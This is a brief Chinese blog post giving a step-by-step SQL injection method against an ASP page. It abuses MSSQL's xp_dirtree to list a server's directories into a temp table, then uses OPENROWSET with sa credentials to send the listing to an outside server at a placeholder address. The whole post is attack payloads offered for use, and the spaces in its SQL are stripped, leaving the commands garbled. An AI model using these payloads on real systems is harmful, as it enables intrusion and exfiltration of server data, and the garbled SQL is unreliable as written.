MssqlPublic权限列目录方法

by:普瑞斯特blog
1、注入点执行

aaa.comx.asp?id=123;createtable%23%23dhtemq(listintnotnullidentity(1,1),dirtreenvarchar(500),num1nvarchar(500),num2nvarchar(500))
2、注入点执行

aaa.comx.asp?id=123;insertinto%23%23dhtemq(dirtree,num1,num2)execmaster.dbo.xp_dirtree[d:\],1,1;--
3、注入点执行

aaa.comx.asp?id=123;insertintoOPENROWSET('sqloledb','server=xx.xx.xx.xx,1433;InitialCatalog=master;uid=sa;pwd=woshinidie','selectdirtree,num1,num2fromdhtemq')selectdirtree,num1,num2from##dhtemq

xx.xx.xx.xx执行

select*fromdhtemq

 
*
*